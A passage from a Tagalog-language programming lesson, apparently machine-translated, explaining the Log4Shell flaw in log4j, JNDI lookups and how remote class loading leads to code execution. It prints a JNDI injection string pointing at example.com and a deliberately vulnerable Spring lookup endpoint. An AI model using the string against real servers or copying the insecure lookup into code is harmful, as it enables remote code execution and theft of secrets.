7.1 Iskandalo

At siyempre, imposibleng hindi sabihin ang tungkol sa kuwentong nangyari kamakailan - sa pagtatapos ng 2021.

Log4Shell

Sinabi ng US Cybersecurity and Infrastructure Protection Agency (CISA) na ang problema Log4Shellay isa sa pinakamalubhang kahinaan sa kasaysayan. Oo, pinag-uusapan natin ang paborito nating library log4j.

Ang aming maaliwalas na maliit na aklatan log4j at ang pinakamalaking kahinaan sa kasaysayan ? naiintriga? Pagkatapos makinig.

7.2 Sukat ng sakuna

Ang pagtuklas ng isang kritikal na kahinaan Log4Shell(code CVE-2021-44228) ay inihayag noong Disyembre 9, 2021 ng mga eksperto sa seguridad ng Lunasec. Na-verify ng mga eksperto mula sa komunidad ng Apache Security Team Java ang impormasyong ito at nag-publish ng listahan ng mga mahihinang library ng Java. Napakalaki lang ng listahan.

Kung ang isang proyekto ng Java ay gumamit ng isang library log4j, kung gayon maaari itong ma-hack nang medyo madali. At dahil halos lahat ng software ng server ay nakasulat sa Javapinakasikat log4jna java logger, ayon sa mga eksperto sa seguridad, ang kahinaan ay nakaapekto sa 93% ng mga corporate cloud environment. Kabilang ang mga tulad ng Amazon AWS, Microsoft Azure, Google Cloud, Cloudflare, iCloud, Minecraft, Steam at marami pa

Bukod dito, naapektuhan ng kahinaan hindi lamang ang software ng server, kundi pati na rin ang maraming mga aplikasyon ng Java, pati na rin ang mga tagagawa ng hardware. Halimbawa, nag-publish ang Intel ng isang listahan ng 32 na na-hack na programa: Mga SDK, mga sistema ng pagpapanatili ng server, mga tool sa Linux.

Nag-post din si Nvidia ng ulat ng isyu sa seguridad na binabanggit ang mga server ng DGX at mga tool sa NetQ. Ang ilang mga update ay agarang inilabas ng Apple at Microsoft.

Sa halos pagsasalita, ang isang linya sa address bar ng browser ng isang mag-aaral ay naglalagay ng server kung ang linyang ito ay kinakain ng logger (sa maraming mga server, lahat ay naka-log HTTP-requests).

Matapos suriin ang code, lumabas na ang kahinaan ay nakaupo sa library mula noong 2013, ngunit ngayon lang nila napansin. At nang magsimula silang maghukay ng mas malalim, natuklasan nila ang isang kalaliman, na ang ilalim ay hindi nakikita.

7.3 Ang pinakaseryosong kahinaan sa kasaysayan

Noong Disyembre 2021, sinabi ng US Cybersecurity and Infrastructure Protection Agency (CISA) na Log4Shellisa ito sa mga pinakamalubhang kahinaan sa kasaysayan .

Maraming iba pang mga eksperto ang nagpahayag ng katulad na opinyon . Alam ng lahat ang tungkol sa kahinaan na ito, at ginagamit na ito ng mga hacker sa lahat ng edad upang magnakaw ng personal na data at iba pang uri ng pag-atake sa iba't ibang organisasyon. Sa hinaharap, naghihintay kami para sa isang wave ng napakalaking hack at data leaks.

Ang sukat ng sakuna ay maaaring masukat kahit na sa pamamagitan ng katotohanan na mayroong isang hiwalay na site na may mga meme tungkol sa Log4j , at araw-araw ay may mga bagong larawan.

Ang problemang ito ay matagal na sa atin. Isang butas sa seguridad sa milyun-milyon kung hindi man daan-daang milyon ng mga computer system. Kailangang ma-update ang lahat ng lumang software at palitan man lang ang library na ito doon. Ngunit sa karamihan ng mga kaso, walang nakakaalam kung aling mga aklatan at kung aling mga bersyon ang ginagamit sa kanilang software.

Sa pangkalahatan, inaasahan namin ang isang matalim na pagtaas sa mga suweldo ng mga espesyalista sa seguridad ng computer.

7.4 Kalikasan ng kahinaan

Upang maunawaan ang kakanyahan ng kahinaan, kailangan mong maunawaan kung paano nakaayos ang malalaking sistema ng server. Kadalasan ang mga naturang server application ay nahahati sa iba't ibang mga serbisyo na matatagpuan sa iba't ibang mga server. At tinutulungan sila ng serbisyo ng JNDI na makipag-ugnayan.

Ang Java Naming and Directory Interface (JNDI) ay Java APIupang maghanap ng mga bagay/serbisyo ayon sa pangalan. Ang mga bagay na ito ay maaaring maimbak sa iba't ibang mga serbisyo sa pagbibigay ng pangalan o direktoryo tulad ng Remote Method Invocation (RMI), Common Object Request Broker Architecture (CORBA), Lightweight Directory Access Protocol (LDAP), o Domain Name Service (DNS).

Ang pagtatrabaho dito ay napaka-simple - ito ay isang simpleng isa Java APIna tumatagal lamang ng isang string na parameter - ang pangalan ng serbisyo. Gamit ito, maaari kang makipag-ugnay sa anumang serbisyo at hilingin sa kanya na gumawa ng isang bagay at / o magpadala ng ilang data. Halimbawa, ${jndi:ldap://example.com/file}maglo-load ang string ng data mula sa URLtinukoy sa string.

Kung ang parameter ay nagmula sa isang hindi pinagkakatiwalaang pinagmulan, maaari itong humantong sa malayuang pag-load ng klase at pagpapatupad ng code ng third-party . Ano ang mangyayari sa kaso ng Log4j. Dinidirekta lamang ng umaatake ang Java application ng biktima sa nakakahamak rmi/ldap/corba-serverat tumatanggap ng malisyosong bagay bilang tugon.

Sa teknikal, ang problema dito ay wala sa log4jlibrary mismo, ngunit sa mga setting ng seguridad kapag nagtatrabaho sa JNDI-service. Kailangan mong suriin palagi kung anong uri ng string ang ipinapasa namin InitialContext.lookup().

Mahina na halimbawa JNDI-applications:

@RequestMapping("/lookup")
@Example(uri = {"/lookup?name=java:comp/env"})
public Object lookup(@RequestParam String name) throws Exception{
   return new javax.naming.InitialContext().lookup(name);
}

7.5 Masyadong matalinong library

At saan log4jmo itatanong? Ang bagay ay nais ng mga developer nito na gawing komportable ang pagtatrabaho dito hangga't maaari at nagdagdag ng matalinong pag-log dito. Narito kung paano ito gumagana:

Nagsimula ang lahat sa katotohanang pinapayagan ka ng mga log message na magtakda ng template kung saan pinalitan ang data, halimbawa:


log.debug(“User {user} has {count} friends”, user, count);

Ang lumang bersyon na walang pagpapalit ng data ay ganito ang hitsura:


log.debug( “User “+user +” has “+ count +” friends”);

Noong 2013, idinagdag din sa library ang pagpapalit ng mga matalinong prefix na tinukoy ng template ng view ${prefix:name}. Halimbawa, ang string “${java:version}”ay mako-convert sa «Java version 1.7.0_67». Oh gaano kaginhawa.

Kabilang sa mga kinikilalang expression ay ${jndi:<lookup>}kung saan pagkatapos ng jndi protocol maaari mong tukuyin ang isang paghahanap sa pamamagitan ng LDAP: arbitrary URL-addressay maaaring itanong at i - load bilang object data Java.

Ito ay isang karaniwang problema ng buong diskarte JDK: awtomatiko nitong deserialize ang isang bagay, isang link kung saan maaaring itakda sa anyo ng isang url. Sa kasong ito, hindi lamang ang data ng bagay ay na-load mula sa malayong mapagkukunan, kundi pati na rin ang code ng klase nito.

Ang hack ay ganito ang hitsura:

  • Nagda-download ng file na may malisyosong code
  • Ang file ay naglalaman ng serialized Java an object(at ang klase nito)
  • Naglo-load ang klaseJava-machine
  • Ang isang bagay ng isang malisyosong klase ay nilikha
  • Ang constructor ng object ay tinatawag
  • Parehong constructor at static initialization ay nagbibigay-daan sa malisyosong class code na maisakatuparan

log4jKung mayroong isang bagay na tulad ng sa linya na naka-log ${jndi:ldap://example.com/file}, pagkatapos log4jito ay magda-download ng data mula dito URL-addresskapag kumokonekta sa Internet . Sa pamamagitan ng paglalagay ng string na naka-log, ang isang attacker ay maaaring mag-download at magsagawa ng malisyosong code na naka-host sa isang pampublikong URL-address.

Kahit na hindi pinagana ang pagpapatupad ng data, maaaring makakuha ng data ang isang attacker, tulad ng mga lihim na variable ng kapaligiran, sa pamamagitan ng paglalagay nito sa isang URL-address, na papalitan ito at ipadala ito sa server ng attacker.

Ang mabuting balita ay mabilis na naayos ang problema sa silid-aklatan .

Ang masamang balita ay ang milyun-milyong server sa buong mundo ay nagpapatakbo pa rin ng lumang bersyon ng library na ito ...